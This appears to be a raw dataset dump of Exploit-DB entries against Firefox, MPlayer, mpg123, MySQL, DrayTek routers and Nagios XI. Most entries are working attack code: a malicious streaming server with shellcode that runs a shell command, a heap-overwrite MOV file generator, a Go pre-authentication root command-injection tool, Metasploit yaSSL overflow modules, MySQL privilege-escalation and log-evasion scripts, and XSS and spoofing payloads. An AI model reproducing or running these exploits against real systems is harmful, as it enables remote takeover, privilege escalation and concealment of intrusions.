deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34192
Description: Mozilla Firefox/Thunderbird/SeaMonkey - XSLT Integer Overflow
Type: remote
Platform: linux
Date: 2010-06-22
Author: Martin Barbella

Exploit:
source: https://www.securityfocus.com/bid/41082/info

Mozilla Firefox, SeaMonkey, and Thunderbird are prone to a remote integer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code in the context of the user running an affected application. Failed exploit attempts will likely result in denial-of-service conditions.

These issues are fixed in:

Firefox 3.6.4
Firefox 3.5.10
Thunderbird 3.0.5
SeaMonkey 2.0.5

NOTE: This issue was previously covered in BID 41050 (Mozilla Firefox/Thunderbird/SeaMonkey MFSA 2010-26/27/28/29/30/32 Remote Vulnerabilities) but has been given its own record to better document it.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34192.zip
Exploit-DB #25221
Description: Mozilla Suite/Firefox/Thunderbird - Nested Anchor Tag Status Bar Spoofing
Type: remote
Platform: linux
Date: 2005-03-14
Author: bitlance winter

Exploit:
source: https://www.securityfocus.com/bid/12798/info

Mozilla Suite/Firefox and Thunderbird are reported prone to a URI obfuscation weakness. The issue is reported to manifest when 'Save Link As...' functionality is invoked on an malicious anchor tag.

This issue may be leveraged by an attacker to display false information in the status bar of an unsuspecting user, allowing an attacker to present downloads to users that seem to originate from a trusted location. This may facilitate attacks based on this false sense of trust. 

<h1>Firefox 1.01 : spoofing status bar without using JavaScript</h1>
<p>Save the New Features about Firefox 1.02 ( PDF 20K )</p>
<p>Right Click and Save Link as ...<p>
<div>

<a href="http://www.mozilla.org/features_ff102.pdf">
<table><tr><td>
<a href="http://www.tpc.org/tpch/spec/tpch2.1.0.pdf">download : http://www.mozilla.org/features_ff102.pdf
</a><!-- first -->
</td></tr></table>
</a><!-- second -->

</div>
Exploit-DB #24852
Description: MPG123 0.59 - Find Next File Remote Client-Side Buffer Overflow
Type: remote
Platform: linux
Date: 2004-12-15
Author: Bartlomiej Sieka

Exploit:
source: https://www.securityfocus.com/bid/11958/info

A remote client-side buffer overflow vulnerability affects mpg123. This issue is due to a failure of the application to properly validate the length of user-supplied strings prior to copying them into static process buffers.

An attacker may exploit this issue to execute arbitrary code with the privileges of the user that activated the vulnerable application. This may facilitate unauthorized access or privilege escalation.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24852.list
Exploit-DB #24853
Description: MPlayer 0.9/1.0 - MMST Get_Header Remote Client-Side Buffer Overflow
Type: remote
Platform: linux
Date: 2004-12-15
Author: Ariel Berkman

Exploit:
// source: https://www.securityfocus.com/bid/11962/info

A remote, client-side buffer overflow vulnerability reportedly affects MPlayer. This issue is due to a failure of the application to properly validate the length of user-supplied strings prior to copying them into static process buffers.

An attacker may exploit this issue to execute arbitrary code with the privileges of the user that activated the vulnerable application. This may facilitate unauthorized access or privilege escalation.

char payload[] = {
 0xeb ,0x47
 ,0x59
 ,0x89 ,0xca
 ,0x83 ,0xc2 ,0x18
 ,0x89 ,0x11
 ,0x31 ,0xc0
 ,0x89 ,0x41 ,0x04
 ,0x83 ,0xc2 ,0x13
 ,0x89 ,0x51 ,0x08
 ,0x83 ,0xc2 ,0x08
 ,0x89 ,0x51 ,0x0c
 ,0x83 ,0xc2 ,0x03
 ,0x89 ,0x51 ,0x10
 ,0x89 ,0x41 ,0x14
 ,0x88 ,0x41 ,0x2a
 ,0x88 ,0x41 ,0x32
 ,0x88 ,0x41 ,0x35
 ,0x88 ,0x41 ,0x3a
 ,0x51
 ,0x83 ,0xc1 ,0x08
 ,0x51
 ,0x83 ,0xc1 ,0x20
 ,0x83 ,0xc1 ,0x03
 ,0x51
 ,0x83 ,0xc0 ,0x3b
 ,0x50
 ,0xcd ,0x80
 ,0x31 ,0xc0
 ,0x50
 ,0x40
 ,0x50
 ,0xcd ,0x80
 ,0xe8 ,0xb4 ,0xff ,0xff ,0xff
 ,0x61 ,0x62 ,0x63 ,0x64 ,0x65 ,0x66
 ,0x67 ,0x68 ,0x69 ,0x6a ,0x6b ,0x6c
 ,0x6d ,0x6e ,0x6f ,0x70 ,0x71 ,0x72
 ,0x73 ,0x74 ,0x75 ,0x76 ,0x77 ,0x78
 ,0x50 ,0x41 ,0x54 ,0x48 ,0x3d ,0x2f
 ,0x62 ,0x69 ,0x6e ,0x3a ,0x2f ,0x75
 ,0x73 ,0x72 ,0x2f ,0x62 ,0x69 ,0x6e
 ,0x20 ,0x2f ,0x62 ,0x69 ,0x6e ,0x2f
 ,0x73 ,0x68 ,0x20 ,0x2d ,0x63 ,0x20
 ,0x72 ,0x6d ,0x20 ,0x78 ,0x2e
} ;

#include <stdio.h>

main()
{

char buf[256];
int len;
int s,i;
len=recv(0,buf,256,0);
 
printf("hello\n");
fflush(stdout);   
 
len=recv(0,buf,256,0);
 
printf("hello\n");
fflush(stdout);   
 
len=recv(0,buf,256,0);
putchar(0x03);
putchar(0x03);
putchar(0x03);
putchar(0x03);
putchar(0x03);
putchar(0x03);
putchar(0x03);
putchar(0x03);
fflush(stdout);
 
len=recv(0,buf,256,0);
putchar(0x03);
putchar(0x03);
putchar(0x03);
putchar(0x03);
putchar(0x03);
putchar(0x03);
putchar(0x03);
putchar(0x03);
putchar(0x03);
putchar(0x03);
putchar(0x03);
putchar(0x03);
for (i=0;i<50000;i++) 
        putchar('A');
for (i=0;i<sizeof payload;i++)
        putchar (payload[i]);

printf("123");
for (i=0;i<20000;i++)           // RA all the way....
{
        putchar(0x01);
        putchar(0x15);
        putchar(0xbb);
        putchar(0xbf);
}
fflush(stdout);
}
Exploit-DB #23186
Description: MPlayer 0.9/1.0 - Streaming ASX Header Parsing Buffer Overrun
Type: remote
Platform: linux
Date: 2003-09-25
Author: Otero Hernan

Exploit:
source: https://www.securityfocus.com/bid/8702/info

A vulnerability has been discovered in MPLayer when handling malformed streaming ASX file headers. The problem occurs due to insufficient bounds checking performed within asf_http_request(). It has been demonstrated that it is possible for a remote attacker to provide a malicious streaming ASX file that will overrun the bounds of a reserved buffer, when a vulnerable version of MPlayer is used to interpret the file. Remote arbitrary code execution has been confirmed possible.

 <asx version = "3.0">
 <title>Bas Site ASX</title>

 <moreinfo href = "mailto:info@badsite.com
 <mailto:info@badsite.com> " />
 <logo href = "http://www.badsite.com/streaming/grupo.gif
 <http://www.badsite.com/streaming/grupo.gif> " style="ICON" />
 <banner href= "images/bannermitre.gif">
 <abstract>Bad Site live</abstract>
 <moreinfo target="_blank" href = "http://www.badsite.com/
 <http://www.badsite.com/> " />
 </banner>

 <entry>
 <title>NEWS</title>
 <AUTHOR>NEWS</AUTHOR>
 <COPYRIGHT>� All by the news</COPYRIGHT>
 <ref href =
"http_proxy://badsite:badport/http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaa"/>
 <logo href = "http://www.badsite.com/streaming/grupo.gif
 <http://badsite.com/streaming/grupo.gif> " style="ICON" />
 </entry>
 </asx>
Exploit-DB #31076
Description: MPlayer 1.0rc2 - 'demux_mov.c' Remote Code Execution
Type: remote
Platform: linux
Date: 2008-02-04
Author: Felipe Manzano

Exploit:
source: https://www.securityfocus.com/bid/27499/info

MPlayer is prone to a remote code-execution vulnerability because it fails to sanitize certain 'MOV' file tags before using them to index heap memory.

An attacker can exploit this issue to execute arbitrary code, which can result in the complete compromise of the computer. Failed exploit attempts will result in a denial-of-service condition.

This issue affects MPlayer 1.0rc2; other versions may also be affected. 

#!/bin/python

import struct
import sys

def mkatom(type,data):
     if len(type) != 4:
         raise "type must by of length 4!!!"
     mov = ""
     mov += struct.pack(">L",len(data)+8)
     mov += type
     mov += data
     return mov

def poc(address, block_size):

     what=struct.pack(">L", 0x41414141) * 2 # Writes an 8 bytes chunk
     base= ((address - 8) / block_size) +1

     ftyp = mkatom("ftyp","3gp4"+"\x00\x00\x02\x00"+"3gp4"+"3gp33gp23gp1")
     mdat = mkatom("mdat","MALDAAAAAD!")
     stsc  = mkatom("stsc",struct.pack(">L",1) + \
                     struct.pack(">L",2) + \
                     struct.pack(">L",base) + \
                     what + \
                     struct.pack(">L",base+300)+what)
     trak = mkatom("trak",stsc)
     moov = mkatom("moov",trak)

     file = ftyp + mdat + moov
     return file

try:
     if sys.argv[2] != "linux":
         evilness = poc(0x0122e000, 24)     #Windows XP SP2 Prof. ES
     else:
         evilness = poc(0x088aa020, 20)     #Linux Gentoo

     print "[+] Generating file: %s" % sys.argv[1]
     file = open(sys.argv[1], "wb")
     file.write(evilness)
     file.close()
     print "[+] Done."

except Exception, e:
     print "[+] Usage: python mplayer_poc.py filename.mov windows (For
WinXP Prof SP2 ES)"
     print "           python mplayer_poc.py filename.mov linux     (For
Linux Gentoo)"
Exploit-DB #48268
Description: Multiple DrayTek Products - Pre-authentication Remote Root Code Execution
Type: remote
Platform: linux
Date: 2020-03-30
Author: 0xsha

Exploit:
package main


/*
CVE-2020-8515: DrayTek pre-auth remote root RCE
Mon Mar 30 2020 -  0xsha.io
Affected:
DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta,
and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta,
and 1.4.4_Beta
You should upgrade as soon as possible to 1.5.1 firmware or later
This issue has been fixed in Vigor3900/2960/300B v1.5.1.
read more :
https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html
https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/
https://thehackernews.com/2020/03/draytek-network-hacking.html
https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
exploiting using keyPath
POST /cgi-bin/mainfunction.cgi HTTP/1.1
Host: 1.2.3.4
Content-Length: 89
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
 */

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"os"
	"strings"
)

func usage()  {

	fmt.Println("CVE-2020-8515 exploit by  @0xsha ")
	fmt.Println("Usage :  " + os.Args[0] + " URL " + "command"  )
	fmt.Println("E.G :  " + os.Args[0] + " http://1.2.3.4 " + "\"uname -a\""  )
}

func main() {


	if len(os.Args) < 3 {
		usage()
		os.Exit(-1)
	}

	targetUrl := os.Args[1]
	//cmd := "cat /etc/passwd"
	cmd := os.Args[2]


	// payload preparation
	vulnerableFile := "/cgi-bin/mainfunction.cgi"
	// specially crafted CMD
	// action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
	payload :=`'
	/bin/sh -c 'CMD'
	'`
	payload = strings.ReplaceAll(payload,"CMD", cmd)
	bypass := strings.ReplaceAll(payload," ", "${IFS}")

	//PostForm call url encoder internally
	resp, err := http.PostForm(targetUrl+vulnerableFile ,
		url.Values{"action": {"login"}, "keyPath": {bypass} , "loginUser": {"a"}, "loginPwd": {"a"}   })

	if err != nil{
		fmt.Println("error connecting host")
		os.Exit(-1)
	}


	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)
	
	if err != nil{
		fmt.Println("error reading data")
		os.Exit(-1)
	}
	
	fmt.Println(string(body))

}
Exploit-DB #24669
Description: MySQL 3.x/4.x - ALTER TABLE/RENAME Forces Old Permission Checks
Type: remote
Platform: linux
Date: 2004-10-08
Author: Oleksandr Byelkin

Exploit:
source: https://www.securityfocus.com/bid/11357/info

MySQL is reported prone to multiple local vulnerabilities. Exploiting these issues may allow an attacker to bypass security restrictions or cause a denial-of-service condition in the application. 

Rportedly, an attacker can bypass certain security restrictions and gain access to and corrupt potentially sensitive data due to an error in 'ALTER TABLE ... RENAME' operations. 

A denial-of-service condition occurs when multiple threads ALTER MERGE tables to change the UNION. 

Due to a lack of details, further information is not available at the moment. This BID will be updated as more information becomes available.

drop database if exists mysqltest; 
connect (root,localhost,root,,test,0,mysql-master.sock); 
connection root; 
--disable_warnings 
create database if not exists mysqltest; 
--enable_warnings 
create table mysqltest.t1 (a int,b int,c int); 
grant all on mysqltest.t1 to mysqltest_1@localhost; 
connect (user1,localhost,mysqltest_1,,mysqltest,0,mysql-master.sock); 
connection user1; 
alter table t1 rename t2;
Exploit-DB #28398
Description: MySQL 4/5 - SUID Routine Miscalculation Arbitrary DML Statement Execution
Type: remote
Platform: linux
Date: 2006-08-17
Author: Michal Prokopiuk

Exploit:
source: https://www.securityfocus.com/bid/19559/info

MySQL is prone to these vulnerabilities:

- A privilege-elevation vulnerability. A user with privileges to execute SUID routines may gain elevated privileges by executing certain commands and code with higher privileges.

- A security-bypass vulnerability. A user can bypass restrictions and create new databases.

MySQL 5.0.24 and prior versions are affected by these issues.

--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings

# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;

use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;

# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
  returns int
  sql security invoker
begin
  set @a:= current_user();
  set @b:= (select count(*) from mysqltest2.t1);
  return 0;
end|
delimiter ;|

# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;

connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;
Exploit-DB #32445
Description: MySQL 5 - Command Line Client HTML Special Characters HTML Injection
Type: remote
Platform: linux
Date: 2008-09-30
Author: Thomas Henlich

Exploit:
source: https://www.securityfocus.com/bid/31486/info

MySQL is prone to an HTML-injection vulnerability because the application's command-line client fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

$ mysql --html --execute "select &#039;<a>&#039;" ... <TABLE BORDER=1><TR><TH><a></TH></TR><TR><TD><a></TD></TR></TABLE>
Exploit-DB #27326
Description: MySQL 5.0.18 - Query Logging Bypass
Type: remote
Platform: linux
Date: 2006-02-27
Author: 1dt.w0lf

Exploit:
source: https://www.securityfocus.com/bid/16850/info

MySQL is prone to a query-logging-bypass vulnerability. This issue is due to a discrepancy between the handling of NULL bytes in the 'mysql_real_query()' function and in the query-logging functionality.

This issue allows attackers to bypass the query-logging functionality of the database so they can cause malicious SQL queries to be improperly logged. This may help them hide the traces of their malicious activity from administrators.

This issue affects MySQL version 5.0.18; other versions may also be affected.

PHP code designed to exploit this issue is provided:

mysql_connect(...);
mysql_query('/*'.chr(0).'*/ SELECT * FROM table');
Exploit-DB #9953
Description: MySQL 6.0 yaSSL 1.7.5 - Hello Message Buffer Overflow (Metasploit)
Type: remote
Platform: linux
Date: 2008-01-04
Author: MC

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack overflow in the yaSSL (1.7.5 and earlier)
					implementation bundled with MySQL <= 6.0. By sending a specially crafted
					Hello packet, an attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2008-0226' ],
					[ 'OSVDB', '41195' ],
					[ 'BID', '27140' ],

				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 100,
					'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
				},
			'Platform'       => 'linux',
			'Targets'        => 
				[
					[ 'MySQL 5.0.45-Debian_1ubuntu3.1-log', { 'Ret' => 0x085967fb } ], 
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jan 4 2008'))

			register_options([ Opt::RPORT(3306)], self.class)
	end
		
	def exploit
		connect

		sock.get_once

		req_uno =  [0x01000020].pack('V')

		req_dos =  [0x00008daa].pack('V') + [0x40000000].pack('V')
		req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
		req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
		req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
		req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
		req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3965)
		req_dos << [target.ret].pack('V') + payload.encoded
		req_dos << rand_text_alphanumeric(1024)

		print_status("Trying target #{target.name}...")

		sock.put(req_uno)
		sock.put(req_dos)

		handler
		disconnect
	end

end
Exploit-DB #16849
Description: MySQL yaSSL (Linux) - SSL Hello Message Buffer Overflow (Metasploit)
Type: remote
Platform: linux
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: mysql_yassl_hello.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)
				implementation bundled with MySQL <= 6.0. By sending a specially crafted
				Hello packet, an attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2008-0226' ],
					[ 'OSVDB', '41195' ],
					[ 'BID', '27140' ],

				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 100,
					'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
				},
			'Platform'       => 'linux',
			'Targets'        =>
				[
					[ 'MySQL 5.0.45-Debian_1ubuntu3.1-log', { 'Ret' => 0x085967fb } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jan 4 2008'))

		register_options(
			[
				Opt::RPORT(3306)
			], self.class)
	end

	def exploit
		connect

		sock.get_once

		req_uno =  [0x01000020].pack('V')

		req_dos =  [0x00008daa].pack('V') + [0x40000000].pack('V')
		req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
		req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
		req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
		req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
		req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3965)
		req_dos << [target.ret].pack('V') + payload.encoded
		req_dos << rand_text_alphanumeric(1024)

		print_status("Trying target #{target.name}...")

		sock.put(req_uno)
		sock.put(req_dos)

		handler
		disconnect
	end

end
Exploit-DB #34507
Description: Nagios XI - 'login.php' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: linux
Date: 2010-08-19
Author: Adam Baldwin

Exploit:
source: https://www.securityfocus.com/bid/42604/info

Nagios XI is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Nagios XI 2009R1.3 are vulnerable. 

http://example.com/nagiosxi/login.php?%22;alert%281%29;//